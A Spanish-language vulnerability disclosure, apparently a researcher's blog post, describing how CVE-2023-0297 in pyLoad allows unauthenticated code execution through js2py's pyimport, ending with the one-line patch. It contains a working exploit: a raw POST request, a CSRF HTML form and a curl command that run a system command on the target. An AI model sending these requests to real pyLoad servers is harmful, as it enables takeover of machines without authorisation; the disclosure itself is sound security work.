
CVE-2023-0297: La historia de encontrar RCE pre-autenticación en pyLoad
La historia de encontrar RCE sin autenticación en pyLoad
Una vulnerabilidad de inyección de código en versiones de pyLoad anteriores a 0.5.0b3.dev31 conduce a una RCE sin autenticación abusando de la funcionalidad de js2py.
Puedes encontrar el informe aquí y el código de explotación aquí.
pyLoad es un gestor de descargas de código abierto escrito en Python y gestionable a través de interfaz web. Su repositorio de GitHub tiene aproximadamente 2.8k estrellas al 9 de enero de 2023.
Mientras auditaba el código fuente de pyLoad, el siguiente código me llamó la atención:
jk = eval_js(f"{jk} f()")
La definición de la función eval_js es la siguiente:
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()") utiliza la funcionalidad de js2py que ejecuta código JavaScript f"{jk} f()" donde el parámetro jk se pasa a través de un parámetro de solicitud:
jk = flask.request.form["jk"]
Por lo tanto, puedes ejecutar código JavaScript arbitrario solicitando el endpoint.
Sin embargo, ¿cómo se puede abusar de esto? Dado que en el contexto de js2py.eval_js() no están definidos ni XMLHttpRequest, fetch ni require (como en node.js), por lo que SSRF o la lectura de archivos locales no son posibles.
Después de pasar algún tiempo, encontré una funcionalidad interesante de js2py:
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:
>>> x = """pyimport urllib;
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
>>> js2py.eval_js(x)
18211
undefined
Al usar esta funcionalidad, ¡puedes usar bibliotecas de Python en el contexto de js2py.eval_js()! Sorprendentemente, pyimport está habilitado por defecto. :o
Probé un código simple que ejecuta un comando del sistema operativo usando pyimport:
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'
$ ls /tmp/pwnd
/tmp/pwnd
Como se esperaba, ¡se ejecutó touch /tmp/pwnd!
Al enviar la siguiente solicitud, ocurriría lo mismo en el host objetivo:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
La parte ;f=function%20f2(){}; en el parámetro jk es necesaria porque este endpoint ejecuta eval_js(f"{jk} f()"). Si no está presente, el código inyectado no se ejecutará debido al error name 'f' is not defined.
Ten en cuenta que no hay cookie ni token CSRF en la solicitud. Esto significa que:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
Simplemente deshabilitar la funcionalidad pyimport.
import js2py
+js2py.disable_pyimport()
¡Gracias al equipo de huntr.dev y al mantenedor de pyLoad por las respuestas rápidas!